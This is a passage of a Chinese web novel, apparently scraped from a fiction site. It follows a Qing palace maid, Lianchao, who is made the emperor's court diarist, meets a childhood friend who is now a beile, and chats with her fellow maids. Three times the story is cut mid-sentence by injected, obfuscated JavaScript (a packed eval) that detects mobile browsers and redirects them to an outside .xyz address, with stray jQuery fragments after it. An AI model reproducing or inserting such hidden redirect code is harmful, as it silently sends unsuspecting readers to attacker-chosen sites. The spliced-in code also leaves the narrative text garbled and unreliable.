赵有良说“得”,就小太监扶着起了身,将袍子撂平实了,常泰又问,“让他们备了新衣裳,谙达换身衣裳进去不要?” 赵有良“哼”了一声,“我今儿发好心,再教你一句。打先前伺候先帝老主子的常老爷,成日家奏穿这么身半新不旧的衣裳,怹老人家缺衣裳穿么?你好好地学着吧!” 说话间已经虾下腰身进去了,皇帝挪到炕上看折子,笔下行云流水是“知道了”、“朕躬安”三个字。 赵有良便不敢说话,站在一旁悄无声息地伺候笔墨,浓郁的朱砂色,沉郁地漫散在砚台中,明明如残霞。皇帝家常燕居的袍子素来多用明黄,团龙纹八团在衣裳的经纬之间若隐若现,露出锋利的爪牙。 皇帝的“了”提得利索,搁下笔。一旁守着的太监便将批复好的折子收归起来,奉茶宫人捧着漆盘入内换茶,夜里多用疏肝解郁的安和茶。等奉茶宫女的袍角闪过门槛,博古架上的西洋自鸣钟便叮叮当当地响了一下。 那自鸣钟本就精巧,是掐丝珐琅做的一间屋子并一个池塘。每半个时辰,屋顶的小门便打开,里头伸出一只雄赳赳气昂昂的大公鸡来,发出好听的声响。公鸡叫一下,下头池塘边上的小人就围着池塘跳舞。皇帝因瞧着它热闹,也好奇这做法,便留在养心殿,等政务闲暇之时赏玩。 赵有良如逢大赦,麻溜顺着杆子爬,小心翼翼地凑趣道:“万岁爷泽被四方,连这小物儿也学乖体恤圣躬了!” 皇帝似是想起什么,走到那自鸣钟前头去仔细瞧,看见那探出头来的大公鸡,不由笑道:“聒噪得很。改日拆下来交与御膳房,做成一道八珍鸡,也算是它的功德。” 赵有良暗暗松了口气,这时节不提晦气的事儿,语调轻快,顺着皇帝的话,喜孜孜地往下接,“奴才遵旨!时辰不早,万岁爷不若早些安置,养着精神,明儿才好享用这八珍鸡呀!” 皇帝却似想到什么似的,嘴角的笑渐渐凝住了。 隔着玻璃去碰指针,慢慢地在表盘上滑过一圈,放眼透过窗户去看外面的天色,飞檐之下绵延起伏的寂静宫闱,冷雾深涌,日升月落,便是一天。 皇帝问,“差办妥了?” 赵有良说办妥,“内务府已经改过差调。奴才已经将御前的规矩都说与那宫女子知道,不敢再坏了规矩。” 皇帝说,“知道了。” 收回手,在司帐宫人的簇拥下,过次间,向又日新去。 赵有良连忙垂手恭送,养心殿素来规矩谨严,虽是人多,可是步子轻悄又整齐,几乎令人听不见声音。只有外头越来越紧的北风,一阵阵拍打着窗棂。 4. 酉时四刻 次日果然地上浸湿,又日新开门时,院里雾气未散,灯笼打在方砖上,倒像是团窠子花。司帐的宫女们退出去,便是伺候盥洗的进来。 赵有良早已经收拾齐整,领着一班人在门外等候。皇帝更衣毕,甫将出来,外头候着的便齐齐叩首,口呼,“万岁爷吉祥。” 这是每天都会上演一遍的流程,老一辈儿的太监们喊完,自然有新一辈的太监们接上。 与人比起来,更顽固的反而是这座城。就连祖宗留下来的规矩都可以作权宜机变,但同样的故事总会在这间屋子里发生。 皇帝往人群里看了一眼,便起身过穿堂,上西暖阁看圣训与实录。 乌雀的翅膀拨开云雾,隐约可见天际青白色的轮廓,清道太监们口中发出“哧”、“哧”的声响。等住在景山脚下的宫女太监们从神武门进宫,温热的衣袍整齐地倾泄晨晖,流入东西六宫时,御驾早已逶迤行远,在太阳的金辉里,往太和殿视朝去了。 庆姐回来的时候,连朝已经起身,正坐在炕上算天光。庆姐拿起桌上的壶倒水,笑着说,“你也是衣服上当差的?又是谁放出去了——咦,屋里茶都没有。” 连朝说,“我也糊涂。我原先在咸若馆,” 庆姐忙放下茶盏,“噢!就是你呀!他们说昨儿万岁爷震怒,御前抓了人,我们还纳闷了一晚上,怎么什么板子条子都没传,悄没生息就平了,原来应在这里。” 连朝赧然,“是传了板子。”又去捧壶,“不知道哪里有茶水,姐姐告诉我,我给姐姐倒杯茶吧。” 庆姐说不用,拉她一并坐下,伸手在铺上指了一遭,“不用你,过会子就有了。” 说着带她认铺盖,“东边是我,我边上是双巧,南边是瑞儿,瑞儿旁边就是你的。双巧和瑞儿都在茶水上,这会主子去上朝,她们就得忙活起来了。我是衣服上的,趁这个当口回来喝口茶,又得走了。” 连朝默默都记下,又赔笑,“昨晚上进来,很晚了。是不是吵着姐姐们睡觉?” 庆姐摆手,“咱们这一屋子人呀,想要碰个头都难!时常是我回来了,她们又出去了。我忙起来的时候,她们反清闲了。譬如说夜里,万岁主子看折子歇得晚,她们茶水上的就得奉饽饽点心。所以我刚才给你指铺盖,就是怕你当完值摸黑回来,倘或睡错了地儿,开错了柜子——生生地闹起来,那马太监又好一顿挂在嘴上排暄,没必要的事。” 连朝说,“我知道,多谢姐姐教我。” 两个人正说话,春知已挑帘子进来,笑说,“躲什么懒?你姑姑正找你呢。她找不着你就胸闷气短,快去准备衣裳!御驾就要回来。” 庆姐“嗳”一声,悄悄对连朝扮了个鬼脸,低声说,“你看,我说的准没错。一口茶还没喝上,又得被使唤走!” 春知笑着啐她,“火急火燎,还这么多话!” 庆姐这才笑着快步去了。 春知仍是和气的,也就着天光将她瞧过一遍,落在她的辫子上,夸道,“这辫子生得好。只是来了御前,可不能像做姑娘时候一样地垂着辫子四处乱跑。来御前当差的头一天,头一件事,就是将辫子盘起来。” 连朝早已起身,对春知行过万福礼,听她这么说,应言便坐到镜子前盘头发。 春知见她生涩,笑着叹了口气,亲自站在她背后,帮她将垂垂的辫子分开两束,交叠着盘到头上,用插头针固定好。对镜子照下来,整个人显得干净爽利。 春知因说,“你这官衔,是万岁爷亲口提的。我们底下人都摸不着头脑,昨晚上赵谙达送你来时,他也犯糊涂了,让我来教教你。我哪儿有什么好教的呀,不过是在御前熬得久了,熬出些功夫。万岁爷睁一只眼闭一只眼地,不计较罢了。” 连朝自是奉承,“我承姑姑的教,真是打心眼里敬佩姑姑。我在咸若馆时,便很蠢笨,管事的崔嬷嬷教导我,我如今还记着她的好。姑姑能在御前体面太平,是我一辈子都琢磨不来的本事,恳请姑姑拔一根毫毛儿教我,我不因蠢笨惹人嫌就好了。” 说得春知发笑,细细与她嘱咐些御前细枝末节的规矩,诸如不得随意扰动御案上的折子,不得在主子用笔时错眼瞧字,入暖阁侍奉,容仪需要齐整,身上须无秽味……一套套章程讲下来,连朝不觉喃喃,“我还是蠢笨些的好。” 春知看出她的气馁,轻轻扶着她的肩头,“一下子谁都记不住,都是在经年累月的差事里见真章。你想主子爷,也是个人呐。寻常人讨厌的,主子一样讨厌,将心比心,加上姑娘一点慧根灵性,哪里有做不成的事!” 她们这里说了大半日,连朝似懂非懂,打了两下升堂鼓又打退堂鼓,期间双巧倒是回来了一会,看见了生面孔,也不拘谨,嚷嚷着,“别让外头不三不四的苏拉进来!”又匆匆地去了。 她今天无事可做,与几个同住的相比,更显得清闲得要命。送走春知,连朝仍坐在炕上发呆,以前在咸若馆,她也如此般安静地看过天光。她从柜子里抽出支笔,想要写点什么,却只敢用笔稍在桌子上写划。 于是在“笃”、“笃”地数声里,太阳又掉到高墙下面去了。 此时有赵有良打发来的小太监在窗外回话,“姑娘,赵谙达喊您上差啦!” 东暖阁里还有人,皇帝议事时,不喜边上有人伺候。连朝便跟着常泰站在一边,眼见赵有良垂头守在门外,过了片时,与外头比个手,便有茶水上的宫人悄无声息地进去奉茶,又悄无声息地退出来。 常泰压着声音和她扯闲篇,“姑娘把头发盘起来啦,瞧着可真精神!” 连朝不敢造次,连抿唇都抿得低,春知教她御前的人也要喜怒不形于色,不能让人知道主子的好恶,她牢牢地记着,回说,“托谙达的福,谙达也精神。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810043|158567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常泰“嗐”了一声,还想再说什么,赵有良一记眼风看过来,他便立时噤了声,知道里头议完事,赶上去打帘子。连朝听见脚步声,亦随之躬身低眉,并不敢直视。 果真听见一阵笑语,数片袍角从眼前掠过,廊下伺候的人都应声呼啦啦地跪了下去,颇为齐整。 金砖漫地,依稀可见人形,皇帝承着端亲王的手笑道,“叔父身子健朗,望之更甚从前。” 端亲王也笑,微微弯下身,并不敢与皇帝平齐,“不敢,不敢。当真是老啦!只是如今在主子恩典下过日子,日子过得舒坦,看起来就显得精神。” 又一阵笑,老端亲王颇为唏嘘,“咱们这几家过得好,儿孙也好,都是托赖主子鸿福,肯顾念咱们。老六一辈子糊涂,从小都是混账到大,所幸养出来的这个儿子,还算不孬。主子愿意提点他,让荣亲王小一脉能有个出息的人,真是天恩浩荡,奴才不知道说什么才好!” 皇帝说,“我年纪轻,阿玛放手得早。外头说宗室宗室,关起门来就是一家人,阿玛在时常说,一家子彼此扶持,日子才过得下去,如今也是一样。” 皇帝声音朗然淳澈,与老端亲王已有些沉涩的声音相比,更有少年人的朝气。连朝不敢错气,低下头听着他们说话,皇帝话音刚落,便听得一道熟悉的声音,稳稳当当地接下话来,“奴才多谢主子提携。定当克尽厥职,为主子尽忠。” 皇帝说很好,“就按方才议定,经筵日讲,寒暑不辍,相互切磋,方有进益。明儿就跟着来吧。” 端亲王忙道,“还不谢恩!主子给你这么大的恩典!你打这里出去了,往后的路,也能走得广阔些。” 淳贝勒提袍子,给皇帝叩首谢恩,口呼,“奴才谢主隆恩”。 在他说话的间隙,连朝才有机会得窥那声音的主人——他其实没怎么变,只是果真印证了以往的戏言:长大了。 长大了眉目就舒展开来,整个人显得从容隽秀,风采卓然。 而他也心有灵犀般,在叩首的间隙,将目光递过来,无声地朝她露出一个微笑。 皇帝站得高,一切都能看在眼里。 皇帝稳稳当当地受他一礼。赵有良有眼色,见皇帝并未伸手扶,连忙自己陪着跪下,将淳贝勒扶起来,皇帝方才虚托了老端亲王一把,站在原地,这便不再送了。直到二人一道转过影壁,再也看不见影子。 快到敬事房递牌子的时候了,太阳的光也留不长久,一寸寸落到万仞宫墙后面去,乌鸦盘旋着飞过天幕,搅动起苍茫的灰埃。每到此时,往往会刮起一阵风,吹得满宫树叶沙沙作响,紫禁城重叠的屋檐,也如同重重山嶂。 皇帝静静地看了她一眼,她仍跪在地上。乌黑的发髻下是纤瘦的脖颈,将头发盘起来后,就看得见她脑后茸茸碎发,交错着抚出个光滑又利落的燕翅。 皇帝半晌才说,“进来。” 5. 酉时五刻 赵有良脑子嗡嗡的,觑万岁爷的容色,知道这姑娘又犯了什么忌讳。赵有良率先打起帘子,皇帝已然越过门槛,连朝还不敢受赵有良的躬亲,赵有良也懒得与她啰嗦,撂下帘子,顺带半推着把她推进去了。 皇帝在御案上铺纸,原本是赵有良来磨墨,皇帝慢悠悠地乜了他一眼,赵有良便立时撒了手,示意她来。 受过春知的教导,连朝乖觉很多。轻手轻脚地扶起墨锭,上好的松烟墨,描金填彩绘出云龙八宝的花样,她略微抬腕,墨锭上的云龙纹便渐次在砚台上化开,如同一泓泉水,漆亮照人。 皇帝择了支黑漆描金的紫毫来蘸墨,忽而问她,“今儿是当值第一天,都记了些什么?” 连朝愕然,一时不知道怎么回话,放下墨锭,跪下来请罪的一套动作倒是如同行云流水般自然,“奴才有罪。奴才今天跟着姑姑学规矩,规矩学好了,才敢上值。 皇帝微微一哂,不置可否,垂下眼看了她半晌,才说,“规矩该是在嘴上刚学的。” 连朝哪里敢反驳,他存心找她的不痛快,莫不是因为那天夜里在恭郡王府的后花园,撞见了他什么了不得的事,还是言语间得罪了他?此时此刻惟有装糊涂为上,她再度叩首,“万岁爷教训得是,奴才知错。” 皇帝方欲发话,敬事房的孙进襄却已经捧着漆盘进暖阁里来,照旧高高举在头顶,低下头恭敬地唱喏,“请万岁主子翻牌子!” 硕大的龙凤和合漆盘,暗红色底子上整齐地放着一排绿头牌。因刚用不久,都是新漆,个个油翠无比,写着后宫诸人的名字。皇帝的目光逡巡而过,他忽然问,“你认得几个字?” 连朝声如蚊呐,“一二三四五,奴才认得。” 皇帝被她气笑了,只说,“起来”,她便掖着袍子站起来,立在一边,皇帝示意孙进襄将盘子捧得近些,复问,“上边的字,都认得么?” 连朝果然望过去,好在他并没有很为难她,或者说没有太为难翻牌子时候的自己,妃嫔们绿头牌不是很多,封号也并非晦涩难辨的。连朝便觉得这是个将功赎罪的好机会,声音尽量放得雀跃,一个个照着牌子上的字念,有板有眼,“循贵妃、静嫔、瑞嫔……” 皇帝骤然打断她,“叫去。” 孙进襄是一刻钟也不敢在暖阁里待,头一回送牌子送得冷汗涔涔。心底对这位姑娘的倾佩之情与日俱增,当真是一点眼力见也没有,一点脸色也没有。光给万岁爷看脸色了,也不知道他赵有良是缺了哪辈子的德,又从哪个旮旯弯里翻找出来这么个好宝贝。 连朝深刻体会到什么叫伴君如伴虎,方才在廊下说话,当真是和颜悦色,让人如沐春风,转脸迈进东暖阁,仿佛哪儿都不顺气似的。 万岁的脸,真是比变天还快。万岁的心,真是比海底还深。 再没人敢说话,察言观色如赵有良,都只敢垂手在边上,连朝学着赵有良的模样,牢记春知的教导,一点眼风也不敢往御案上错。以至于皇帝将六宫的封号位份、前朝名号都写过一遍,余光去看她时,她半扇眼帘耷拉下去,眼珠子时不时错一错,皇帝顺着看,才发现她是在数地毯上一排到底有几种花纹。 皇帝气不打一处来,末了只好自己沉下脸抻着声解释,“朕命你做起居女史,不是让你杵在这里装树的。朕的一天,吃了什么,做了什么,用了什么,见了什么人。何时就寝,何时更衣,去了何处,你须记下,每日奉来与朕过目。你要对朕的一天有深刻了解,省得再不分青红皂白,写一些胡言谵语。” 万岁爷怕是个事儿爷。 纵有不满,这话是万万不敢放在嘴上说,明面换出更温和的说法,“多谢万岁爷提点,领奴才见世面。只是奴才蠢笨,记性不好,人也马虎,就怕辜负了万岁爷事无巨细的期待……” 皇帝倒真笑了,唤赵有良,“她月钱多少?” 赵有良忖度一下,“回主子的话,照各处上人的月例来算,一个月十五两银子。” 连朝眼前一亮,对他的不满霎时烟消云散了。 她在咸若馆当差,每月最多八两,有时周转或是克扣,到手六两已算很多了。怪道这养心殿是人人都想找门道填进去的地界,将将提步把养心门的门槛儿一迈,身价简直倍增,多划算的买卖! 皇帝瞧见她眼里压不住的亮色,示意她近前来,御案上放着他刚铺平压好的纸,刚饱满蘸墨的笔,此时理所当然地递给她,“今日朕几时起身,几时用膳,几时就寝,见了什么人,你记得多少,都写下来。” 连朝不敢马虎,恭恭敬敬地接过笔。她素来会看天色,回想了片刻,将今天能亲眼见到的都写下来。皇帝便站在一旁,负手饶有兴味地看着。 澄心堂纸上的字迹算不上娟秀,堪堪可以称为工整,看笔画的顿挫,真可谓是歪歪扭扭,勉强有几分柳体的气韵。可见识文断字,并非是家中专请西席来教习。 她昨晚睡得浅,早晨天光没亮,同屋的几个便起来点蜡烛换衣裳,连朝回忆起那时从窗子渗进来的天光,并不刺眼,便写:寅正,起身。 昨日常泰带她识屋子,提到过万岁爷每日早晨起身后都要在西暖阁读圣训,这个她写得很有把握:寅时二刻,在西暖阁读圣训。 早晨春知来教她御前的规矩,曾无意提点过万岁爷何时视朝,何时回宫。期间庆姐回来过一次,应该是御驾已到长街,视朝回来。她略微估算天光,写:卯正至辰正,视朝。 再后来,就不很能知道。晌午的时候瑞儿匆匆回来过,嘱咐她别让外头不相干的人进来。那必定是宫女们稍闲,但御前紧着要人准备,她想了想,还是卯着胆子写:午时,午歇。未时二刻,起身。接见大臣。 赵有良喊她来上值,东暖阁里都还留着人议事,那时天应该已经有些昏了,太阳西偏,等万岁送端亲王、淳贝勒出来,应该是申时末,酉时初。毕竟没过多久,敬事房的孙谙达就过来递绿头牌。他们出现的时间都是恒定的,连朝便写:申时末,进酒膳,递牌子。 皇帝并没有很惊讶,见她边写边想,洋洋洒洒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810044|158567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟也快写完一张纸。他这才伸出手在纸面上点了点,“见了哪些人,都谁递了牌子,都写上。” 连朝无话可说,“奴才真不记得了。奴才学规矩到傍晚才敢在主子跟前伺候,头一个学会的就是要忠诚老实,不能信口开河,凭空捏造。” 皇帝“哦”一声,显然不打算继续为难她,“赵有良,她月钱换算到一日,是多少?” 赵有良胸有成竹,“回主子,是五十钱。” 皇帝轻描淡写,说好,“扣掉。” 连朝咬牙忍了忍,压下恨不得提笔在他脸上画个王八的心火,一字一字往外蹦,“万岁爷,奴才又记得了。” 说着提笔往纸上添,能多写一个就少扣一些。至少老端亲王是见了的,淳贝勒也是跟着来的。她在写“淳贝勒”三个字的时候,提笔凝滞。 忽然想起小时候,玛玛在老荣亲王福金跟前陪说话,老荣亲王福金跟着小儿子住,常年住在恭郡王府里。她替讷讷请玛玛示下的时候多,常往恭郡王府里走动。彼时他还是郡王府里的三阿哥,底下人没大没小,看他好相处,叫他“三棍子”,三棍子打不出一个屁么,暗地里指他老实木讷,他也纵着。 没权没势的小小子儿,多可怜。 前几年恭郡王没了,本就是荣亲王一脉分出来的小支,再往下分得降一等,他袭的是贝勒。以前很奇怪,每次去郡王府,总能出其不意地见着他,他爱和她说话,闲暇时候知道她在跟着家里哥子们学写字,也带自己练的帖子教她。有什么好吃的、好玩的、听来有趣的,都乐意分享给她。他们若不计较什么门第,该算是少时的玩伴。 这几年在宫中消磨,与他经年未见,故人相逢,彼此一笑,就抵得过千言万语的珍重。 斜地里覆来一只手,温热。手腕上原本盖着的马蹄袖翻起来,露出月白色的里衬。稳当地握着她的手,一丝不苟,在纸上慢慢写出三点水,一点,一横,一竖,横折横,横折勾,最后一横收锋,她才如梦初醒般,匆匆从他的手心里抽回手。 笔墨斑驳之间,余温仍在。 他们的前因,他和她的前因,哪一个排在前面? 皇帝顿了顿,很快也撂开。连朝不敢再看他,将笔放在一旁的笔搁上,正准备如常跪下来请罪,一颗心在腔子里扑通直跳时,皇帝却蓦然问,“现在是什么时辰。 她的鬓发间生出细腻地汗,勉强稳定心神,压下一口浮气,“回主子,过了戌正,一刻有余。” 她话音刚落他又问,“昨日你来养心殿,是什么时辰?” 连朝的头脑有些发懵,不假思索地答,“酉时一刻。” 皇帝的声音稳而迅疾,半分不给她回思喘气的机会,竟似在逼问,“你提着灯笼经过,说话间园子里做道场烧纸马,是什么时辰?” 她几乎是下意识地说,“戌时三刻。” 却见皇帝一双乌沉沉的眼光,在她话音流转之间,早看定了她。 她才后知后觉,那天夜里,他也这样地,问过她时辰。 6. 酉时六刻 皇帝的眼睛极深,映着御案旁烛火的辉光,几乎要望进人的心里去。两丸乌墨映着她的影子,小小的一个。 二人本就隔得近,长久在龙涎香里浸润着,襟怀间每一分丝线都滃染出龙涎香层叠的味道,如同一张细细密密的丝网,悄无声息地将她包裹住。 皇帝神色平常,面上不辨喜怒,慢慢地移开眼睛,随手抽了支朱笔,在她方才写过的纸上添注,“早晨起身后,辰时三刻,慈宁宫诣皇太后安。下午见了隆禧、福泰、端亲王、淳贝勒。晚上叫去。你照着月、日、时辰、何地何事,每日跟在朕身边,听着记着。知道为君不易,没有那么多风花雪月,儿女情长,屙屎也不会用金片子。” 连朝颇为局促,很多时候往往不敢健谈,口中道,“奴才知错。奴才都记着了。” 皇帝随口“唔”了一声,“字写得还不错。”她立时喜笑颜开,“万岁爷过——”过奖的音还没咬到,就被皇帝驳了回来,“只是比小儿涂鸦好一些,别给自己长脸。” 皇帝从一旁的奏折边儿拿出个匣子,半扔半递到她眼前,微微抬一抬下颌,示意她打开看看。 是一支笔,平直圆整,毛锋利落。连朝颇为赧然,手却十分老实地承托起来,对着光细看,很给面子地赞叹,“真是好笔!” 皇帝示意赵有良去取水来,笑着教她开笔,“来,往后就用它写字。” 雪白的笔锋在清水里荡散开来,夔龙纹的衬里,龙爪飞扬,翻起来马蹄袖下照旧是匀整洁净的肌肤,令人觉得不可亵渎。 贵为天子。贵为天子。 她却不敢接,往后退了半步,照旧是恭敬的容色,弯下腰身,“奴才谢主子赏。以后一定将主子爷的笔好好供奉起来,不敢攀折。” 气氛有一瞬间的阻涩,如同琴弦旁逸偶然生滞。皇帝的笑凝在脸上,渐渐地隐下去,“你是觉得你的命很硬么?” 连朝提袍跪下,在他玄青色缉珠龙纹厚底皂靴前泥首,朗然答,“万岁爷洪福齐天。” 赵有良还没有回过味,正喜孜孜捧来水盂,却见皇帝已将笔搁开,取帕子来揩手,再没有瞧她一眼。 “退下。” 晚间差事当完,将将也到亥末。 双巧分了盏灯来,庆姐便坐在镜袱前通头发。将寻常插戴的簪子卸下来,长长的辫子散开,用手分了一缕拉在胸前,用篦子细细地通,一面说,“可惜瑞儿今晚值通班,没法回来。咱们几个人,就没有凑齐全的时候。” 双巧已经在榻榻上铺被子了,闻言笑道,“怎么,你还想凑齐人头,晚上抹牌呀?马三爷的眼睛可不是白瞎的,”说着一比划,双手勾起来,“那可是鹰钩。” 庆姐咂咂嘴,“人人都说宫里好。吃得好、穿得好,伺候的主子也体面。红城墙多高,红城墙里又是一层墙,外头的人哪里知道里面的苦处。” 双巧说你得了吧,“能吃饱穿暖,还希图什么?我看你是日子过得太好,不用受五脏神的苦,就开始愁啊愁,怨啊怨的——紫禁城里各司其职,那是六宫主子们的活儿,可别照揽。” 庆姐“嗐”一声儿,刚想说,“之前我看的那书,”说到一半,双巧递个眼色过来,示意她屋里还有外人,庆姐只好悻悻地,不好往下说了。 连朝侧着身子躺在炕上,盯着天顶儿出神,外头隆隆的风声,留半边耳朵听她们说话,风声和人声混杂在一起,不大分明。 风声隆隆,元青色的袍子,哪儿能看出来是谁。提着一盏灯笼,一个人在后花园里,还以为也是前来吊唁的宾客。 见天儿冷,寒浸浸的夜风,是深秋时候。两排灯火雁翅儿排开,仿佛拱手让出一条往生的路。 她替讷讷来问玛玛的话,因为一位叔翁过身,讷讷有些事拿不准主意,还得问经见丰富的玛玛。恭郡王府很大,夜里又黑,在后花园里绕啊绕,稀里糊涂就遇见一个也迷了路的人了,她初生牛犊不怕虎,卯起胆子问,“您打哪儿来呀?” 他说,“我来送别一位长辈。” 她“噢”了一声,自报家门,“我是来给我玛玛说家里的事的。你会走吗?我也迷路了。” 她记得她那时候眼睛乱梭,看见他袍子上偶然被灯火照亮,一闪而过的团龙利爪,满是敬仰地问,“您从宫里来呀?那宫里指定好。他们都说宫里是最好的去处,您和我说说呗,宫里怎么样?” 没想到他当真一本正经地沉吟,末了描述,“屋顶是明黄琉璃瓦,蔓延而去,别人都说像龙,我看像笼。” 字面上听不出来好赖,她疑心他是在诓她,忿忿,“这不都一样吗?你说什么废话?” 显然他并没有想到会造此噎,瞪了她半晌,才听见她自顾自地用鞋尖踢开了脚底下的一块石头,“享受着最好的居所,最好的吃食,最好的衣裳,一定没有什么不痛快的事。” 他也笑了,“那你觉得我现在痛快吗?” 她是一个务实的人,更是一个有礼貌的人,“不痛快。” “有什么办法呢?人人都觉得你好,人人都觉得你已经衣食无忧,连痛苦都是错,连怨恨都是自私。” “无病呻吟,你是不是也这么想。” 她却沉默了,末了问,“老太太是你什么人呐?” 他说,“听说过荣亲王么?” 四大铁帽子王,端、荣、平、全。响当当的富贵延年,子孙昌盛。 他说,“往上数好几辈儿,我们这几家的小子都是从小一起长到大的。走了的老太太是老荣亲王福金,按辈分我该叫她一声伯祖母。” “噢,”她恍然大悟,“阿穆巴奶奶。” “老话里是这么叫,”他笑,别开了眼,看向一片火光的最深处,火光的尽头居然是一片漆黑,“我小时候也这么叫她。” “隔着两辈呢。” “隔辈亲。仔细想想也会觉得是种解脱。人生七十古来稀,老亲王都已经走了二十多年了。只是想起来难免惆怅,熟悉的人一个个远走,仿佛冥冥之中排着队一样,熟悉的年月,再也回不来了。” 他们在夹道的火光中走影子拉得很长。 很长很长,一步一步地走,渐渐汇合到一起。深浓的雾气与黑夜里,团龙的利爪也看不见了,依稀可辨层叠的鳞。 他们时而沉默,时而交谈。 他温声问,“你的玛法与玛玛,应该都还在吧。” “我的玛法前几年走了。” 她坦然地说,“我老家在京城,很小就和阿玛上南边去了。南北边的这种事儿,办得不一样。” 他顺着她的话,很有耐心地说,“什么不一样?” 明明很寻常的话,听起来温和熨帖到了极处。那么不疾不徐,郑重又赤忱,仿佛天地间茫茫行旅,他们就是彼此的同路人。而在这条路上,没有不可过去的事情。 她的思绪也随之浸润到浓重的夜雾里,染上星星点点的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顺手在被子上擦,粗粝地扰起丝棉,一团团结在一起,心里也乱糟糟的。 她决定投入精神去听她们说话,谁知道她们已经不说了。 可是长夜难熬呀,总想说说话。庆姐翻来覆去烙了两下,见都没有睡着,还是出声问她,“你以前当差,也住在宫里吗?” 连朝说不是,“我之前在咸若馆,不用守夜班的时候,得赶在宫门落锁之前出宫。我们住在景山脚下的妞妞房胡同,第二天在开宫门之后,排队从神武门进来当差。” 庆姐流露出艳羡的目光,“真好,还能出去看看。” 双巧笑说,“出去有什么好?出去了就没人管着了?还是出去了就可以不回来了?”对连朝,“她爱做梦呢,大晚上的,你别信她。” 庆姐笑着啐她,“你这么喜欢宫里,你当娘娘去呀。专点马三爷背你,把你——”听得双巧红了脸,转过身再也不理她,庆姐这才不往下说了。 “万岁爷,是个内秀的人。和书里写的一样,也不一样。” 双巧这才接话,“没王法了!在主子跟前,就敢嚼起主子的舌根子!我非得告诉马三爷,让他把你抓起来不可!” “不提万岁爷,你也不理我呀!”庆姐笑盈盈地说,“又没有外人,都是在养心殿屋檐底下,有什么不能说?”撑起头,仔细回想,“早晨跟姑姑去又日新伺候主子更衣,主子和颜悦色的。呀,那窄窄的腰身,被吩带子一勒,跟兰草似的。我敢说,打天底下,没人比咱们万岁爷生得更好了!” 双巧问,“那你还成天想着出去呢?等你爹你妈安排人把你嫁了,三十七八,肥头大耳,你给她做管家奶奶,你就舒坦了?” 庆姐却没有回答,反而问连朝,“你问她。嗳,新来的,你看过宫外的好,你想一辈子留在宫里吗?” 连朝答,“不想。” 7. 酉时七刻 双巧追问,“为什么不想?” 连朝笑了,“祖制宫女年满二十五岁就能出宫,就算——就算有可以一辈子留在宫里的法子,被困在高墙里,守着名分,再也见不到亲人了。” 她有些赧然,“我家里还有个玛玛,我是跟着玛玛长大的。我玛法不在了,我想给她养老送终。” 庆姐原本竖起耳朵,想听一听她的高见,没想到是这样一个憨蠢的孩子,笑着说,“给她养老送终是你阿玛的事,干你什么?说不好听的,谁不会有那一天,头一倒,眼睛一闭,还管得着多少儿孙的事,哪里有心思一个个去数,谁来哭了,谁没有哭。哭了又如何,没哭又如何,没人能哭上一辈子的呀!” 双巧打圆场,“你又计较什么?好好好,你最豁达,你看得最通透,越性咱们都各走各的路,反正你左无牵,右无挂,你是菩萨,别和我们凡人打交道。” 庆姐不肯罢休,“菩萨有什么好的?人活一世,要活个痛快!一辈子伺候人做什么?总得有那一天,抻平脚,自己好好来把日子过上一过吧!” 外面骨碌碌吹起风来,扑在窗户纸上好一阵子响,倒像是扑棱蛾子的飞翅。连朝听见声音,偏过头看了看,下意识喟叹一声,“秋天是越来越深了。” 做宫女的早已习惯了赶早,却从没起过这么早。窸窸窣窣从暖和的被子里爬起来,天黑得一点亮色都没有。尤其是秋天,早晨起来的时候外头冷,风直往骨头缝里钻,哪里管身上的单衫。 赵有良齐整地带着小太监在后殿前的廊下等着了,见她来了,莫名地客气一些,朝她点点头儿,就算是问过早了。 昏昏暗暗的天色里,养心殿灯火通明。衣裳上的两行人捧着大盘子,率先进去,云龙纹便在烛火映照下跳跃。赵有良呵下腰,习惯性地看一眼天光,约莫知道皇帝起来的时辰。带着人轻手轻脚地走到里间去,在又日新紧闭的门打开的刹那,温暖的龙涎香与外头冷冽的空气融合在一起,他们纷纷叩首下去。 皇帝在人群中,轻易能够瞥见她。循例说了声“起来吧”,众人簇拥着,出隔间往西边去了。 连朝才敢抬头,看过时间,在纸面上认真地写下:寅正,起身。 皇帝早晨起来先要过一遍折子,老例是在东暖阁。乌沉沉的御案后,一身佛头青的袍子,衬得人端稳清隽。 连朝跟随赵有良候在一边,窗外仍旧昏昏,烧了一夜的龙涎香由宫人新换,新与旧的味道交叠在一起,无端有种萎靡的沉闷,仿佛这黑夜一眼望不到头似的。 她并没有睡好,昨夜思绪万千,此时久立在原地,困意袭人。正懵懵懂懂地看地毯上连绵的大象,忽然听见一声极清爽的声音,“来磨墨。” 连朝的瞌睡霎时醒了一半。连忙凑过去。她以前用的笔墨都粗糙,御案上摆放物件桩桩件件都是精品,烛光投在上头,便自有莹润之气。 连朝小心地提起袖口,皇帝恰巧望过来,看见她一痕翠袖,立时便将头转过去,已然有些愠怒于她的失礼。 